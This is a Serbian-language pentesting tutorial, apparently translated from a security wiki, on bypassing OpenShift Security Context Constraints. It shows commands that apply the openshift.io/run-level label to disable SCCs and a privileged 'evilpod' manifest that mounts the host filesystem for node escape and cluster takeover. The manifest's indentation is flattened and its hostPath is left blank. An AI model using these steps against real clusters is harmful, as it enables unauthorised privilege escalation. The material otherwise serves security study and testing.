Openshift - SCC bypass

Reading time: 3 minutes

Originalni autor ove stranice je Guillaume

Privilegovani Namespaces

Po defaultu, SCC se ne primenjuje na sledeće projekte:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Ako implementirate podove unutar jednog od ovih namespaces, SCC se neće primenjivati, što omogućava implementaciju privilegovanih podova ili montiranje host fajl sistema.

Namespace Label

Postoji način da se onemogući primena SCC na vašem podu prema RedHat dokumentaciji. Biće vam potrebna najmanje jedna od sledećih dozvola:

  • Kreirajte Namespace i kreirajte Pod u ovom Namespace
  • Uredite Namespace i kreirajte Pod u ovom Namespace
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Specifična oznaka openshift.io/run-level omogućava korisnicima da zaobiđu SCC-e za aplikacije. Prema RedHat dokumentaciji, kada se ova oznaka koristi, nijedni SCC-i se ne primenjuju na sve podove unutar tog imenskog prostora, efikasno uklanjajući sve restrikcije.

Dodaj Oznaku

Da dodate oznaku u vašem imenskom prostoru:

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Da biste kreirali namespace sa oznakom putem YAML datoteke:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Sada, svi novi podovi kreirani u imenu prostora ne bi trebali imati nijednu SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

U odsustvu SCC, nema ograničenja na definiciju vašeg poda. To znači da se zlonamerni pod može lako kreirati da pobegne na host sistem.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Sada je postalo lakše eskalirati privilegije za pristup host sistemu i potom preuzeti ceo klaster, stičući 'cluster-admin' privilegije. Potražite deo Node-Post Exploitation na sledećoj stranici:

Attacking Kubernetes from inside a Pod

Prilagođene oznake

Pored toga, na osnovu ciljne postavke, neke prilagođene oznake / anotacije mogu se koristiti na isti način kao u prethodnom scenariju napada. Čak i ako nisu napravljene za to, oznake se mogu koristiti za davanje dozvola, ograničavanje ili ne određenog resursa.

Pokušajte da potražite prilagođene oznake ako možete da pročitate neke resurse. Evo liste zanimljivih resursa:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Nabrojite sve privilegovane imenske prostore

bash
$ oc get project -o yaml | grep 'run-level' -b5

Napredni eksploat

U OpenShift-u, kao što je ranije prikazano, imati dozvolu za implementaciju poda u imenskom prostoru sa openshift.io/run-level oznakom može dovesti do jednostavnog preuzimanja klastera. Sa aspekta podešavanja klastera, ova funkcionalnost ne može biti onemogućena, jer je inherentna dizajnu OpenShift-a.

Međutim, mere ublažavanja poput Open Policy Agent GateKeeper mogu sprečiti korisnike da postave ovu oznaku.

Da bi zaobišli pravila GateKeeper-a i postavili ovu oznaku za izvršenje preuzimanja klastera, napadači bi morali da identifikuju alternativne metode.

Reference